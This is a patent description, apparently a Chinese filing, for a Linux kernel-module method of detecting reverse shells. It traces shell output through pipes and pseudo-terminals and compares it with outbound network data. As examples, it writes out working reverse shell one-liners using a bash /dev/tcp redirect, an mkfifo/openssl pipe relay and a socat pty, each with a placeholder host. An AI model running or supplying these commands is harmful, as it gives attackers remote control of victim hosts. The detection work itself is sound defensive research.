Rebound shell detection method and system based on kernel data flow tracking
By monitoring the file descriptors of the target process at the kernel level, identifying associated processes and establishing data tracing relationships, and capturing and comparing data content, this technology solves the problem of difficulty in identifying indirect reverse shell attacks in existing technologies, and achieves high-precision reverse shell detection.
Patent Information
- Authority / Receiving Office
- CN · China
- Patent Type
- Patents(China)
- Current Assignee / Owner
- BEIJING BIG DATA CENT
- Filing Date
- 2026-02-12
- Publication Date
- 2026-07-14
AI Technical Summary
Existing technologies struggle to accurately identify indirect reverse shell attacks, especially in complex scenarios where data is relayed through pipes or intermediate processes. Legitimate business processes and attack behaviors share highly similar resource characteristics, leading to a high false positive rate.
By monitoring the file descriptors of the target process at the kernel level, the associated processes are identified and a data tracing relationship is established. The raw payload data of the target process is captured and compared with the network data sent by the associated processes to determine whether there is a reverse shell behavior.
It achieves high-precision detection of reverse shell behavior, reduces false alarm rate, can identify various variant attacks, penetrates complex relay links, and improves detection accuracy and anti-bypass capability.
Smart Images
Figure CN121690872B_ABST
Abstract
Description
Technical Field
[0001] This invention relates to the field of terminal security technology, and in particular to a method and system for detecting reverse shells based on kernel data flow tracing. Background Technology
[0002] Reverse shell is a classic technique in network penetration and persistent control. Essentially, it utilizes the victim's host to actively connect to the outside world, redirecting the standard input, output, and error messages of the local shell to a socket being monitored by the attacker. This bypasses traditional firewall "block external network access" policies, establishing a covert remote command execution channel.
[0003] There are multiple ways to detect reverse shells. Existing detection schemes mainly include: static matching based on command characteristics, that is, performing regular expression detection on command line parameters or history; and dynamic detection based on resource status, that is, checking whether the process's file descriptor points to a network socket, or monitoring whether the process's system call sequence matches a specific malicious pattern.
[0004] However, existing technologies have the following shortcomings: feature-based matching schemes rely on known attack signatures and are difficult to deal with command obfuscation or variant attacks; schemes based on resource status or behavior sequences only focus on the type of file descriptors they point to or the order of operations, but in complex scenarios where data is transferred using pipes or intermediate processes, legitimate business processes and attack behaviors have highly similar resource characteristics. Since existing technologies cannot confirm whether there is a substantial flow relationship between the data output by the shell process and the data sent over the network, it is difficult to accurately identify indirect reverse shell attacks and is prone to false alarms. Summary of the Invention
[0005] This invention provides a method and system for detecting reverse shells based on kernel data flow tracing, which addresses the shortcomings of existing technologies and achieves high-precision detection of reverse shell behavior.
[0006] This invention provides a reverse shell detection method based on kernel data flow tracing, comprising the following steps:
[0007] When a target process is detected executing a command, the file object type pointed to by the standard input, standard output, or standard error file descriptor of the target process is obtained;
[0008] When the file object type is a non-network socket, determine the associated process that carries the output data of the target process, and establish a data tracking relationship between the target process and the associated process;
[0009] Capture the raw payload data written by the target process to the file object;
[0010] Capture network transmission requests and network transmission data initiated by the associated process;
[0011] The original payload data is compared with the network-sent data. If the original payload data matches the network-sent data and the target address of the network-sent request is an external network address, it is determined that the target process has a reverse shell behavior.
[0012] The reverse shell detection method based on kernel data flow tracing provided by the present invention further includes:
[0013] When the file object type is a network socket and the target address of the network socket is an external network address, it is determined that the target process exhibits reverse shell behavior.
[0014] According to the present invention, a reverse shell detection method based on kernel data flow tracing is provided, wherein determining the associated process carrying the output data of the target process includes:
[0015] When the file object type is a pipe, the system file descriptor table is traversed to find the process holding the pipe reading end, and the found process is identified as the associated process;
[0016] When the file object type is a terminal device, and the terminal device is not the same as the terminal device associated with the parent process of the target process, the parent process of the target process is determined to be the associated process.
[0017] According to the present invention, a reverse shell detection method based on kernel data flow tracing is provided, wherein capturing the raw payload data written by the target process to a file object includes:
[0018] By hooking the write system call, the standard output data or standard error data written by the target process to the file object can be captured.
[0019] The captured standard output data or standard error data is copied and stored in a memory buffer in the kernel space as the original payload data;
[0020] The associated process is marked as being in a state pending network tracing.
[0021] According to the present invention, a reverse shell detection method based on kernel data flow tracing is provided, wherein capturing the network sending requests and network sending data initiated by the associated process includes:
[0022] By hooking the send system call, network sending requests from the associated process are captured;
[0023] Check whether the associated process is in the state of pending network tracing;
[0024] When the associated process is in the pending network tracking state, the payload in the network sending request is extracted as the network sending data.
[0025] According to the present invention, a reverse shell detection method based on kernel data flow tracing further includes, after comparing the original payload data with the network-sent data:
[0026] When the original payload data does not match the network transmitted data, or when it is determined that the target address is not an external network address, the data tracking relationship between the target process and the associated process is terminated, and the pending network tracking status flag of the associated process is deleted.
[0027] According to the present invention, a reverse shell detection method based on kernel data flow tracing is provided, wherein detecting the execution of commands by the target process includes:
[0028] Load the Linux module, and hook the execve or fexecve system call through the Linux module;
[0029] The target process is captured during the process creation phase, and the file descriptor table of the target process is read.
[0030] According to the present invention, a reverse shell detection method based on kernel data flow tracing, after determining that the target process exhibits reverse shell behavior, further includes:
[0031] Query the preset response strategy library and perform any of the following operations according to the handling rules configured in the response strategy library:
[0032] Send a SIGKILL signal to the target process to terminate the process and generate a blocking alarm message;
[0033] Send a SIGSTOP signal to the target process to pause the process execution and generate a freeze alarm message;
[0034] Generate a risk warning message about a reverse shell.
[0035] This invention also provides a reverse shell detection system based on kernel data flow tracing, comprising the following modules:
[0036] The first processing module is used to obtain the file object type pointed to by the standard input, standard output or standard error file descriptor of the target process when the target process is detected to be executing a command;
[0037] The second processing module is used to determine the associated process carrying the output data of the target process and establish a data tracking relationship between the target process and the associated process when the file object type is a non-network socket.
[0038] The third processing module is used to capture the raw payload data written by the target process to the file object;
[0039] The fourth processing module is used to capture network transmission requests and network transmission data initiated by the associated process;
[0040] The fifth processing module is used to compare the original payload data with the network-sent data. When the original payload data matches the network-sent data and the target address of the network-sent request is an external network address, it is determined that the target process has a reverse shell behavior.
[0041] The present invention also provides an electronic device, including a memory, a processor, and a computer program stored in the memory and executable on the processor, wherein the processor executes the program to implement the reverse shell detection method based on kernel data flow tracing as described above.
[0042] The present invention also provides a non-transitory computer-readable storage medium having a computer program stored thereon, which, when executed by a processor, implements the reverse shell detection method based on kernel data flow tracing as described above.
[0043] The present invention also provides a computer program product, including a computer program that, when executed by a processor, implements the reverse shell detection method based on kernel data flow tracing as described above.
[0044] In summary, one or more technical solutions provided in the embodiments of this application have at least the following technical effects or advantages:
[0045] This invention achieves accurate perception and classification of the starting point of process I / O behavior by identifying the file object type pointed to by the standard input, output, or error file descriptors of a target process in real time when it executes commands. For covert scenarios involving non-directly connected network sockets, it further identifies associated processes carrying output data and establishes data tracing relationships, thus penetrating complex relay links built by attackers using pipes, fake terminals, or intermediate programs, effectively solving the problem of existing technologies' difficulty in detecting indirect reverse shells. Furthermore, by capturing the target process's original write payload and the associated process's network transmission data separately, and performing dual verification based on data content consistency matching and external address attributes, the detection logic is deepened from easily bypassable surface command characteristics to the unforgeable essence of data flow. This ensures the identification of various variant attacks while significantly reducing the false alarm rate caused by legitimate inter-process communication, achieving high-precision detection of reverse shell behavior. Attached Figure Description
[0046] To more clearly illustrate the technical solutions in this invention or the prior art, the drawings used in the description of the embodiments or the prior art will be briefly introduced below. Obviously, the drawings described below are some embodiments of this invention. For those skilled in the art, other drawings can be obtained from these drawings without creative effort.
[0047] Figure 1 This is one of the flowcharts of the reverse shell detection method based on kernel data flow tracing provided by the present invention.
[0048] Figure 2 This is the second flowchart of the reverse shell detection method based on kernel data flow tracing provided by the present invention.
[0049] Figure 3 This is the third flowchart of the reverse shell detection method based on kernel data flow tracing provided by the present invention.
[0050] Figure 4 This is the fourth flowchart of the reverse shell detection method based on kernel data flow tracing provided by the present invention.
[0051] Figure 5 This is a schematic diagram of the structure of the reverse shell detection system based on kernel data flow tracing provided by the present invention.
[0052] Figure 6 This is a schematic diagram of the structure of the electronic device provided by the present invention. Detailed Implementation
[0053] To make the objectives, technical solutions, and advantages of this invention clearer, the technical solutions of this invention will be clearly and completely described below with reference to the accompanying drawings. Obviously, the described embodiments are only some, not all, of the embodiments of this invention. All other embodiments obtained by those skilled in the art based on the embodiments of this invention without creative effort are within the scope of protection of this invention.
[0054] It should be noted that in the description of this invention, the terms "comprising," "including," or any other variations thereof are intended to cover a non-exclusive inclusion, such that a process, method, article, or apparatus that comprises a list of elements includes not only those elements but also other elements not expressly listed, or elements inherent to such a process, method, article, or apparatus. Without further limitation, an element defined by the phrase "comprising one..." does not exclude the presence of other identical elements in the process, method, article, or apparatus that includes said element. The terms "upper," "lower," etc., indicating orientation or positional relationships according to the accompanying drawings, are only for the convenience of describing the invention and for simplifying the description, and do not indicate or imply that the system or element referred to must have a specific orientation, or be constructed and operated in a specific orientation, and therefore should not be construed as a limitation of the invention. Those skilled in the art can understand the specific meaning of the above terms in this invention according to the specific circumstances.
[0055] The terms "first," "second," etc., used in this invention are used to distinguish similar objects, not to describe a specific order or sequence. It should be understood that such data can be interchanged where appropriate so that embodiments of the invention can be implemented in orders other than those illustrated or described herein, and the objects distinguished by "first," "second," etc., are generally of the same class, without limiting the number of objects; for example, a first object can be one or more. Furthermore, "and / or" indicates at least one of the connected objects, and the character " / " generally indicates that the preceding and following objects are in an "or" relationship.
[0056] The following is combined with Figures 1 to 6 This invention describes the reverse shell detection method, system, electronic device, storage medium, and computer program product based on kernel data flow tracing provided by this invention. It should be noted that the executing entity of this invention can be any electronic device with computing capabilities, such as a server, desktop computer, laptop computer, cloud host, or container environment. Specifically, the method of this invention can be executed by a security detection device, kernel module, or security plugin running on the operating system kernel layer (e.g., Linux Kernel) of the aforementioned electronic device to achieve real-time monitoring and blocking of the system's underlying behavior.
[0057] Reference Figure 1 , Figure 1 This is one of the flowcharts illustrating a reverse shell detection method based on kernel data flow tracing provided by the present invention, as shown below. Figure 1 As shown, the method mainly includes the following steps:
[0058] Step 101: When the target process is detected executing a command, obtain the file object type pointed to by the target process's standard input, standard output, or standard error file descriptor.
[0059] In this embodiment, the target process typically refers to a process running on the system that poses a potential risk or needs to be monitored, such as a process launched through a shell interpreter (e.g., bash, sh, zsh). The essence of a reverse shell attack is that the victim's host actively initiates a connection to the attacker and redirects the input and output of the local shell to that connection.
[0060] In practice, the system needs to be aware of process startup or command execution behavior in real time. This can be achieved by deploying monitoring mechanisms at the operating system kernel level, such as using kernel-provided probes, callback functions, or system call capture techniques. When the system detects that a target process is executing a command (e.g., starting a new shell environment), it reads the target process's file descriptor table.
[0061] In operating systems like Linux, processes have three standard file descriptors by default: standard input (stdin, descriptor 0), standard output (stdout, descriptor 1), and standard error (stderr, descriptor 2). The system identifies the type of file object currently pointed to by these three key file descriptors by querying kernel data structures. The file object type here indicates the media attributes to which data flows, including but not limited to: network sockets (Socket), pipes (Pipe / FIFO), character devices (such as terminal TTY / PTS), or ordinary files.
[0062] Step 102: When the file object type is a non-network socket, determine the associated process that carries the output data of the target process and establish a data tracking relationship between the target process and the associated process.
[0063] This step aims to address indirect reverse shell scenarios that are difficult to detect in existing technologies. In many advanced attack methods (such as using nc relay, OpenSSL encrypted channels, or pipe relay), the standard output of the shell process (i.e., the target process) does not directly point to the network socket, but rather to an intermediate medium (such as a pipe or pseudo-terminal). Therefore, simply determining whether the target process is directly connected to the network will result in missed detections.
[0064] When step 101 detects that the target process's standard output or standard error is not pointing to a network socket (i.e., a non-network socket), it indicates that data has been output to some local channel. At this point, it is necessary to determine who is consuming or forwarding this data. In this embodiment, the process responsible for receiving and forwarding the target process's output data is defined as the associated process.
[0065] The associated process can be determined based on the shared nature of file objects. For example, if the output points to a pipe, the system will look for the process corresponding to the pipe's read end in the kernel; if the output points to a terminal device, the system will look for the controlling process that controls the terminal. Once the associated process is identified, the system maintains a mapping table or linked list in kernel memory, binding the target process (data producer) to the associated process (data forwarder), establishing a data tracking relationship. This data tracking relationship means that the subsequent network behavior of the associated process needs to be monitored, as it may be sending data out on behalf of the target process.
[0066] Step 103: Capture the raw payload data written by the target process to the file object.
[0067] After establishing the tracing relationship, the system needs to obtain the actual output of the target process for subsequent consistency comparison. Specifically, when the target process writes data to the aforementioned non-network socket file object (such as a pipe) through system calls (such as write, writev, etc.), the monitoring mechanism will capture this write action.
[0068] The system captures the specific content written by the target process and uses it as the raw payload data. This data is usually the return result of a shell command execution (such as a file list after executing the ls command, or usernames after executing whoami). In order not to affect the original business process, the system usually copies this data and stores it in a separate memory buffer in kernel space for subsequent analysis, while the original data stream is still written to the file object normally for related processes to read.
[0069] Step 104: Capture network sending requests and network sending data initiated by the associated process.
[0070] Based on the data tracking relationship established in step 102, the system not only monitors the target process but also the behavior of related processes. When a related process in the tracking relationship initiates network communication, the system captures its network sending request.
[0071] A network transmission request typically includes a five-tuple of information: destination IP address, destination port, protocol type, etc., as well as the payload to be sent. The system extracts the data that the associated process is preparing to send over the network from this request and defines it as network transmission data.
[0072] Step 105: Compare the original payload data with the network sent data. When the original payload data matches the network sent data and the target address of the network sent request is an external network address, it is determined that the target process has a reverse shell behavior.
[0073] A match can mean that the content of the two is completely identical, or it can mean that the network-sent data contains the original payload data (considering that network packets may contain protocol headers or be fragmented). If the original payload data matches the content of the network-sent data, it indicates that the associated process is indeed forwarding the output of the target process onto the network unchanged or after encapsulation, thus confirming the relay transmission of data streams.
[0074] At the same time, the system also needs to verify the target address of the network request. If the target address is determined to be an external network address (i.e., not a local loopback address, not a secure address within the local area network, but an untrusted address pointing to the external Internet), then this behavior conforms to the essential characteristics of a reverse shell: executing commands locally and sending the results back to the external attacker.
[0075] When both conditions are met—that the data content is consistent and the data flows to the external network—the system can determine that the target process has reverse shell behavior and output the determination result, regardless of what kind of intermediate program (such as Python, Perl, OpenSSL, etc.) the attacker uses for obfuscation or relay.
[0076] The above implementation method overcomes the limitations of traditional methods based on single-process characteristics or simple rule matching by employing a kernel-level data flow tracing-based detection mechanism. By establishing a tracing relationship between the target process and related processes, and comparing the consistency between the source output and the final outgoing data content, it can accurately identify complex reverse shell attacks that utilize pipelines, intermediate processes, and other means to escape. This method focuses on the essence of the attack's data flow, rather than the surface-level command parameters, thus achieving extremely high detection accuracy and bypass resistance, effectively reducing false positives, and ensuring compatibility with various complex container or host environments.
[0077] Based on the above implementation methods, this embodiment also provides an optimized detection path for direct bounce shells. This serves as a supplement to the methods in the above embodiments or as a parallel decision branch.
[0078] Specifically, in step 101, after the system detects that the target process is executing a command and obtains the file object type pointed to by its standard input, standard output, or standard error file descriptor, a branch judgment will be performed:
[0079] When the file object type is a network socket, the system will directly check the target address of the network socket. If the target address is confirmed to be an external network address, it will be directly determined that the target process has reverse shell behavior.
[0080] In this scenario, a network socket refers to an endpoint provided by the operating system for network communication. It contains key information such as the addresses, ports, and protocols of both communicating parties. When the standard output or standard error of a target process is redirected to a network socket, it means that all output data generated after the process executes a command will be sent directly to the network through that socket, without needing to go through any intermediate processes.
[0081] The system can obtain the target address of the connection, i.e., the remote IP address and port number, by querying the kernel data structure associated with the network socket (such as struct sock in the Linux kernel).
[0082] Subsequently, the system will determine the attributes of the target address. In this embodiment, an external network address is defined as an IP address that is not a local loopback address (such as 127.0.0.1) and does not belong to a pre-configured internal network address range (such as private address ranges defined in RFC1918, such as 10.0.0.0 / 8, 172.16.0.0 / 12, 192.168.0.0 / 16). In short, it usually points to a public IP address or an untrusted external network.
[0083] If the system determines that the target address is an external network address, this behavior perfectly matches the classic characteristics of a reverse shell: a local shell process sends its output directly to the external network. At this point, there's no need for further process correlation or data content comparison; the system can directly and quickly determine that the target process is exhibiting reverse shell behavior.
[0084] For example, in a typical reverse shell attack command `bash -i>& / dev / tcp / 10.10.10.10 / 666 0>&1`, `bash` is the target process. Its standard output (file descriptor 1) and standard error (file descriptor 2) are both redirected to a special file ` / dev / tcp / 10.10.10.10 / 666`. In a shell that supports this syntax, a TCP network socket connecting to IP address 10.10.10.10 and port 666 is directly created. In step 101, file descriptors 1 and 2 are detected as pointing to a network socket type, and their target address 10.10.10.10 is extracted. Assuming this address is determined to be an external network address, the system will immediately identify this behavior as a reverse shell attack.
[0085] By adding this direct determination path, the method in this embodiment can efficiently cover and detect the most common and direct types of reverse shell attacks. This method provides a fast track for the complex and indirect attack detection schemes in the aforementioned embodiments, enabling the entire detection method to take into account both the ability to deeply track advanced obfuscation attacks and the ability to quickly respond to simple direct attacks, thereby forming a more comprehensive and efficient reverse shell detection system. This avoids performing unnecessary complex analysis processes on simple attack scenarios and improves detection efficiency.
[0086] Furthermore, in a specific embodiment of the present invention, a detailed technical implementation path is provided for the execution of commands by the detected target process in step 101. This step is the trigger point of the entire detection process, and its purpose is to intervene in the earliest stage of the process lifecycle to capture its initial file descriptor state.
[0087] Reference Figure 2 , Figure 2 This is the second flowchart of a reverse shell detection method based on kernel data flow tracing provided by the present invention, as shown below. Figure 2 As shown, the implementation of step 101 includes the following sub-steps:
[0088] Step 201: Load the Linux module and hook the execve or fexecve system call through the Linux module.
[0089] The detection method in this embodiment is not a user-space application, but rather implemented as a Linux Kernel Module (LKM). This implementation grants the method the highest system privileges and the lowest execution latency. During deployment, the system administrator loads this kernel module into the running Linux kernel using commands such as insmod or modprobe.
[0090] In the module's initialization function, a crucial action is hooking the system calls most directly related to process creation and program execution. In Linux, the `execve` system call is the core interface for executing a new program; it replaces the current process's memory space, data, and stack with a new program image. `fexecve` is a variant of `execve` that specifies the program to be executed via a file descriptor instead of a path. By hooking the `execve` and `fexecve` system calls, it's possible to ensure intervention at the precise moment any new command or program is executed.
[0091] Step 202: Capture the target process during the process creation phase and read the target process's file descriptor table.
[0092] When any process in the system calls `execve` or `fexecve` to execute a new program, the pre-defined hook function is triggered, thereby capturing the target process. This capture does not mean blocking its execution, but rather gaining control before and after the original `execve` logic is executed.
[0093] The critical point in the execution of the hook function is after the kernel has prepared the execution environment for the new program, but before it has fully handed over control to user space. During this process creation phase, the context of the new process (i.e., the target process) has been established, including its file descriptor table. The file descriptor table records all the files opened by the process, and which file object (struct file) in the kernel each descriptor (such as 0, 1, 2) points to.
[0094] At this point, the Hook function accesses the kernel data structure of the current process (such as current->files in Linux, which points to a struct files_struct structure) and reads the contents of its file descriptor table. By analyzing the file objects corresponding to file descriptors 0 (standard input), 1 (standard output), and 2 (standard error), the system can determine where these standard I / O streams were redirected at the beginning of the process, thus providing the most basic and reliable basis for subsequently determining whether the stream is directed to a terminal, pipe, or network socket.
[0095] Furthermore, in a specific embodiment of the present invention, two detailed implementation methods are provided for step 102, namely, determining the associated process carrying the output data of the target process, for different indirect output scenarios. These two methods correspond to typical attack patterns that utilize pipelines and terminal devices for data relay.
[0096] First scenario: When the file object type is a pipe:
[0097] This scenario corresponds to an attacker using the pipe symbol | to pass the output of one process as the input of another process, which is one of the most common ways to construct an indirect reverse shell.
[0098] In specific implementation, when the system detects in step 101 that the file object pointed to by the standard output or standard error of the target process is of type Pipe or Named Pipe (FIFO), the following operations will be performed to determine the associated process:
[0099] The system retrieves the unique identifier of the pipe object (for example, in the Linux kernel, a pipe is represented by a pair of `struct pipe_inode_info` objects that share a circular buffer). Then, the system iterates through the file descriptor tables of all active processes in the system. During this iteration, the system checks every file descriptor opened by each process to determine if the file object pointed to by that file descriptor corresponds to the read end of the aforementioned pipe object.
[0100] In short, it involves finding which process holds the other end of the pipe (the read end). Once such a process is found, it is identified as the associated process carrying the target process's output data. The system then establishes a data tracing relationship between the target process and this newly discovered associated process in the kernel.
[0101] For example, in the command `mkfifo / tmp / f; / bin / sh -i`< / tmp / f 2> In the command `&1 | openssl s_client -quiet -connect 0.0.0.0:666> / tmp / f`, the ` / bin / sh` process (the target process) redirects its standard output and standard error to the `openssl` process via an anonymous pipe. The method in this embodiment detects that the output of ` / bin / sh` points to a pipe, and then, by traversing the file descriptor table, finds that the `openssl` process holds the read end of that pipe, thus identifying the `openssl` process as the associated process.
[0102] The second scenario: When the file object type is a terminal device, and the terminal device is different from the terminal device associated with the parent process of the target process:
[0103] This is primarily used to detect attacks that use pseudo-terminals (pty) to hijack or forward interactive shell sessions, such as reverse shells created using tools like socat and scripts.
[0104] In practice, when the system detects in step 101 that the file object type pointed to by the standard output or standard error of the target process is a terminal device (such as tty or pts), it will further perform a comparison operation:
[0105] The system first obtains the identifier of the terminal device associated with the target process. Simultaneously, the system also obtains the parent process of the target process and queries the terminal device identifiers associated with its standard input, output, and error parameters. Then, the system compares the terminal device of the target process with that of its parent process to see if they match.
[0106] If the two are inconsistent, it indicates a terminal switch has occurred, meaning the child process (target process) did not inherit the parent process's terminal but was instead connected to a new terminal device created or controlled by the parent process. In this case, the parent process likely acts as a data forwarder, receiving input from the user or network, writing it to this new terminal device for the target process (shell) to execute, and then reading the target process's output and forwarding it. Therefore, when this inconsistency is detected, the system identifies the target process's parent process as the associated process and establishes a data tracing relationship.
[0107] For example, in the command `socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:IP1:7788`, the socat process (the parent process) creates a pseudo-terminal (pty), then starts a bash process (the target process), and connects bash's standard input and output to this new pseudo-terminal. The method in this embodiment detects that the bash process's terminal is different from the terminal of its parent process, socat, thus identifying socat as the associated process and tracking the network behavior of the socat process.
[0108] Furthermore, in a specific embodiment of the present invention, a detailed implementation mechanism is provided for step 103, namely, capturing the original payload data written by the target process to the file object. This step is a crucial link in the data stream tracing chain, and its purpose is to accurately capture the source content of the data stream without interfering with normal business operations.
[0109] Reference Figure 3 , Figure 3 This is the third flowchart of a reverse shell detection method based on kernel data flow tracing provided by the present invention, as shown below. Figure 3 As shown, the implementation of step 103 includes the following sub-steps:
[0110] Step 301: By hooking the write system call, capture the standard output data or standard error data written by the target process to the file object.
[0111] A hook is a technique for extending or modifying system functionality without altering the operating system's source code. In this embodiment, the system implements a hook for the `write` system call (and possible variants such as `writev`) within a kernel-loaded module. This means that whenever any process in the system attempts to call the `write` system call to write data to a file descriptor, a pre-defined hook function will be executed first.
[0112] Inside the Hook function, the system determines whether the process initiating the write call is the previously identified target process, and whether the target file descriptor to be written to is the redirected standard output (descriptor 1) or standard error (descriptor 2). If these conditions are met, the system can confirm that this write operation is the target process (e.g., the shell) outputting the result of command execution. At this point, the system accurately captures the data to be written from the parameters of the write call; this data is the standard output or standard error data.
[0113] Step 302: Copy the captured standard output data or standard error data to a memory buffer in kernel space as the raw payload data.
[0114] To enable subsequent data comparison and avoid blocking or data tampering during normal process execution, the system does not directly capture or modify the original write process. Instead, the system allocates a dedicated memory buffer in kernel space. When the aforementioned hook function captures the target process's standard output or standard error data, it calls a memory copy function (such as memcpy) to completely copy the data and store it in this buffer.
[0115] This copied and temporarily stored data is defined as the original payload data in this embodiment. It serves as the benchmark and evidence for subsequent data flow consistency verification. After storing this data, the original write system call will continue to execute, and the data will still be written normally to the pipe or terminal device for related processes to read.
[0116] Step 303: Mark the associated process as being in a state of pending network tracing.
[0117] After successfully capturing and storing the raw payload data, the system confirms that the data stream has been emitted from the source (target process). The next crucial step is to monitor whether this data stream will flow from the exit (associated process) to the network. To achieve this monitoring efficiently, the system sets a special status flag for the associated process identified in step 102.
[0118] In this embodiment, this flag is referred to as the "Network Tracking Pending State." This flag is added to the kernel data structure (such as `task_struct`) of the associated process. When this flag is set, it means that the associated process becomes a high-priority monitoring target. Subsequent network sending hook functions (such as the `send` hook) will primarily focus on those processes that have been flagged, thus avoiding indiscriminate deep checks on the network behavior of all processes in the system and significantly improving detection performance.
[0119] Furthermore, in a specific embodiment of the present invention, a detailed implementation mechanism is provided for step 104, namely, capturing the network transmission request and network transmission data initiated by the associated process. This step is the endpoint and key verification link of the data flow tracing link, and its purpose is to confirm whether the original payload data generated by the target process ultimately flows to the network through the associated process.
[0120] Reference Figure 4 , Figure 4 This is the fourth flowchart of a reverse shell detection method based on kernel data flow tracing provided by the present invention, as shown below. Figure 4 As shown, the implementation of step 104 includes the following sub-steps:
[0121] Step 401: Capture network sending requests from associated processes by hooking the send system call.
[0122] Similar to hooking the `write` system call, this embodiment hooks a series of system calls related to network data transmission within a kernel-loaded module. The core of these is the `send` system call (which may also include similar calls such as `sendto` and `sendmsg`). By hooking these system calls, the system can capture all processes' actions of sending data to the network socket, i.e., network sending requests.
[0123] Whenever a process calls send, the pre-defined hook function is activated. The hook function can obtain all key parameters such as the process that called send, the target socket information, and the pointer and length of the data buffer to be sent.
[0124] Step 402: Check if the associated process is in a pending network tracing state.
[0125] To achieve efficient detection and avoid performance bottlenecks, the Hook function does not perform in-depth analysis on every send call. Instead, it performs a quick pre-check: obtains the process that is currently calling send and checks whether that process has a pending network tracing status flag set.
[0126] If the current process is not marked as pending network tracing, it means it is not the process we are interested in that is associated with a suspicious shell process. In this case, the hook function will skip the subsequent complex logic and allow the original send call to continue executing, thereby minimizing performance overhead.
[0127] Step 403: When the associated process is in the pending network tracing state, extract the payload in the network sending request as the network sending data.
[0128] The system will only initiate data extraction when the Hook function confirms that the process currently calling send is an associated process in a state awaiting network tracing. This indicates that we have successfully captured a high-risk outbound network activity.
[0129] At this point, the system locates the memory address and length of the data to be sent from the parameters of the send system call, and then extracts this data completely. This payload extracted from the network sending request is defined as network sending data in this embodiment. This data will be used for a final content comparison with the original payload data cached in step 103 to complete the closed-loop verification of the entire data flow chain.
[0130] Furthermore, in a specific embodiment of the present invention, in order to ensure that the resources of the detection system can be effectively managed and to avoid the accumulation of false positives, this embodiment adds a crucial resource cleanup and status reset step after performing data comparison in step 105. This step mainly handles scenarios that have been proven to be harmless, ensuring that data tracking relationships can be closed out in a timely and accurate manner.
[0131] Specifically, after the system completes the comparison between the original payload data and the data sent over the network, it will perform cleanup operations in the following two scenarios based on the comparison results:
[0132] Scenario 1: When the original payload data does not match the data sent by the network:
[0133] This situation means that although the associated process did initiate network communication, the content of the data it sent was inconsistent with the shell output we previously captured from the target process. This usually indicates that the network behavior of the associated process is not directly related to the output of the target process; the two just happened to establish a connection through a pipe or terminal, but for a legitimate purpose. For example, a log collection process (the associated process) receives logs from multiple applications (one of which is the target process) through a pipe and sends them uniformly to a log server. The data it sends is aggregated or formatted and does not exactly match the original output of any single target process.
[0134] In such a mismatch, the system will determine that the previously established data tracking relationship was a benign event.
[0135] Scenario 2, or when the target address is determined not to be an external network address:
[0136] This situation means that even if the original payload data matches the data sent over the network, the destination of the data sent by the associated process is an internal address, such as the local loopback address (127.0.0.1) or the address of an internal server configured in the security policy (such as an internal log center, development server, etc.). This kind of internal communication is usually normal system maintenance or inter-application interaction and does not have the risk of data leakage to untrusted networks that is unique to reverse shell attacks.
[0137] In these two scenarios where the behavior is deemed non-malicious, the system will proactively perform the following cleanup actions:
[0138] First, disconnect the data tracking relationship between the target process and related processes.
[0139] The system will locate and delete the binding entries between the current target process and the associated process from its internally maintained list (or mapping table) of tracing relationships. This indicates that the tracing task has ended, and the system no longer considers there to be a suspicious data transfer link between the two processes.
[0140] Secondly, delete the pending network tracking status markers for the associated processes.
[0141] Simultaneously with the termination of the tracking relationship, the system clears the pending network tracking status flag previously set for the associated process. This means that the associated process reverts to a normal process, and its subsequent network behavior will no longer be subject to high priority scrutiny by the send Hook function, unless it is re-established as a tracking relationship due to other suspicious behavior.
[0142] Furthermore, in a specific embodiment of the present invention, after successfully determining the existence of a reverse shell, a flexible and automated gradient response mechanism is provided. This mechanism aims to take different levels of response measures to confirmed attacks based on the risk level faced by the system and business security requirements, thereby ensuring both security and business continuity.
[0143] Specifically, once the system confirms that the target process is exhibiting reverse shell behavior through direct network socket analysis or indirect data stream comparison, the following response steps will be executed:
[0144] First, query the preset response strategy library and execute the corresponding operation according to the handling rules configured in the response strategy library.
[0145] The response policy library is a set of rules that can be pre-configured by the system administrator. It defines the automated actions the system should take when different types or severity of security incidents are detected. This policy library can be stored in the kernel module's configuration or dynamically loaded and updated from the user-space security management platform through a specific interface.
[0146] The handling rules can be configured based on multiple dimensions, such as the username of the target process (e.g., a reverse shell initiated by the root user has a higher threat level), the program name of the target process (e.g., a critical business process being exploited), and the risk level of the external target address (e.g., whether it connects to a known C&C server address). The system will match the specific scenario of the currently confirmed reverse shell event with the response policy library to find the most suitable handling rule.
[0147] Based on the retrieved processing rules, the system will perform any one or a combination of the following operations:
[0148] 1. Send a SIGKILL signal to the target process to terminate the process and generate a blocking alarm message.
[0149] This is the most severe handling measure. When the policy library determines that the current reverse shell behavior poses an extremely high risk and requires immediate and complete removal of the threat, the system will call a kernel function to send a SIGKILL signal to the target process (and any potentially associated processes). This signal cannot be caught or ignored by the process and will force the operating system to immediately terminate the process, thereby instantly cutting off the remote control channel established by the attacker. At the same time, the system will record and report a detailed blocking alert, including information about the terminated process, attack chain details, external connection addresses, and the handling result, for security administrators to audit and trace the source afterward.
[0150] 2. Send a SIGSTOP signal to the target process to pause the process and generate a freeze alarm message.
[0151] This is a relatively mild but equally effective measure, typically used in scenarios where the attack context needs to be preserved for further manual analysis. When the policy library is configured in freeze mode, the system sends a SIGSTOP signal to the target process. This signal immediately suspends the target process, preserving all its state (memory, registers, etc.) completely in the operating system, but it no longer consumes CPU time or performs any operations. This time-frozen state prevents the attack from continuing and provides a valuable window for the security response team to intervene in the investigation (e.g., perform memory forensics, analyze process state). Simultaneously, the system reports a freeze alert, notifying the administrator that a process has been suspended pending further action.
[0152] 3. Generate a reverse shell risk warning message.
[0153] This is the lightest response method, suitable for scenarios with a strategy of monitoring only, without blocking, or for observing low-risk, suspected behaviors. In this mode, the system does not perform any forced operations on the target process; it only logs detailed attack behavior internally and generates and reports a reverse shell risk alert to the external Security Information and Event Management (SIEM) platform or administrator console. This method avoids impacting normal business operations due to improper automatic handling, leaving the final judgment and handling authority to human intervention.
[0154] In a specific embodiment of the present invention, in addition to the detection and response process described above, the present invention also provides an implementation method for lifecycle management of the entire detection method, specifically involving how to safely and thoroughly remove the detection function from the system when it is no longer needed.
[0155] Specifically, the method of the present invention further includes a safe uninstallation and resource cleanup step, which is triggered upon receiving an instruction to uninstall a Linux kernel module (e.g., an administrator executing the rmmod command on a system terminal). This step ensures that the exit of the detection module does not negatively impact the stability of the operating system. Its implementation includes:
[0156] First, unhook the system calls execve / fexecve, write, and send one by one.
